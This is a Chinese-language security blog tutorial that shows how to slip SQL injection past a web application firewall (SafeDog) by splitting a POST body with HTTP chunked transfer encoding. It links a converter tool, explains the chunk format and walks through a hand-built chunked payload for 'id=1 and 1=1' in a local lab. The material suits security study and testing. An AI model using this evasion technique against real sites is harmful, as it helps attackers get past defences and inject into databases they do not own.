分块传输sql语句过waf

  1. 工具
  2. 使用方法
  3. 原理

最近有小伙伴给我发了篇文章,和分块传输(Chunked Transfer Coding),然后就去FREEBUF上面看了下相关的文章,又是另外一种bypass的方式啦
利用分块传输吊打所有WAF

工具

Chunked coding converter
https://github.com/c0ny1/chunked-coding-converter

不过github上的需要编译一下,嫌麻烦的小伙伴可以下载别人已经编译好的jar包
下载链接: https://pan.baidu.com/s/1N-N7h4kL5Kick43bKEhytQ 提取码: hn8p

使用方法

使用方法

添加好之后,我们要部署好注入环境,这里搭建好了safedog + phpstudy,我们这里采用的提交参数的方式为POST,然后安全狗的漏洞防护那里要设置为检测POST内容,默认是不检测的
使用方法

我们搭建好之后抓包,放到repeater里面,利用方式如下:
使用方法
使用方法
使用方法

这样我们就能绕过waf了

原理

freebuf上面的那篇文章把分块传输的定义规范,不过我看了半天的英文觉得有点绕,这里就贴一下分块传输的格式:

1
2
3
4
5
6
7
8
9
10
11
chunked-body   = *chunk
last-chunk
trailer-part
CRLF

chunk = chunk-size [ chunk-ext ] CRLF
chunk-data CRLF
chunk-size = 1*HEXDIG
last-chunk = 1*("0") [ chunk-ext ] CRLF

chunk-data = 1*OCTET ; a sequence of chunk-size octets

大概解释一下,chunked-body由chunk、last-chunk、trailer-part、CRLF四个部分组成
chunk由chunk-size和chunk-data两部分组成
tailer-part不知道是什么
CRLF可以理解成换行符

然后chunk还有一个扩展,就是能用 ; 作为注释符:

1
2
3
4
chunk-ext      = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )

chunk-ext-name = token
chunk-ext-val = token / quoted-string

有可能你觉得我上面的话是废话,我们接下来实际操作一遍。

首先我提交的post参数为:

1
id=1

我们用上面的工具加密之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
2;fIT1nmMBJZYWNS5LjMvip
id
2;zJA4ef2iJgoNIrqsIS1swHm
=1
2;UJP7LknwUaNVbr
a
3;estmrm0DAX9FV15nKxu
nd
1;XHodZjjSKDY
1
2;97eXEkVqACpxzn0sYnb8rPeuS
=1
0

我们把这一部分分成几块来看:

1
2
3
4
#长度;注释的内容(这块是啥都行)
2;fIT1nmMBJZYWNS5LjMvip
#我们原先提交的参数,取了长度为2的内容出来
id

接下来都是的:

1
2
3
4
5
6
7
8
9
10
2;zJA4ef2iJgoNIrqsIS1swHm
=1
2;UJP7LknwUaNVbr
a
3;estmrm0DAX9FV15nKxu
nd
1;XHodZjjSKDY
1
2;97eXEkVqACpxzn0sYnb8rPeuS
=1

然后就是:

1
0

注意这个0之后还有两个回车。这里好像显示不出来

这样就能bypass了。

要是还是不能理解,你就把分块传输当做一个规定,我们提交的参数可以按照这个规定写就好了。

然后我们就可以自己构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

Transfer-Encoding: chunked

1
i
2
d=
1
1
3
an
1
d
3
1=
1
1
0
\r\n
\r\n

注意一下后面有两个回车,这里我用\r\n来表示
还要注意添加了一个头信息:

1
Transfer-Encoding: chunked

bypass成功
使用方法

当然,也可以添加注释来绕过,我这里没写,你要是看懂了的话就知道我再说什么了。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:分块传输sql语句过waf

本文作者:sher10ck

发布时间:2019-07-04, 09:55:48

最后更新:2020-01-13, 13:06:11

原始链接:http://sherlocz.github.io/2019/07/04/分块传输sql语句过waf/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录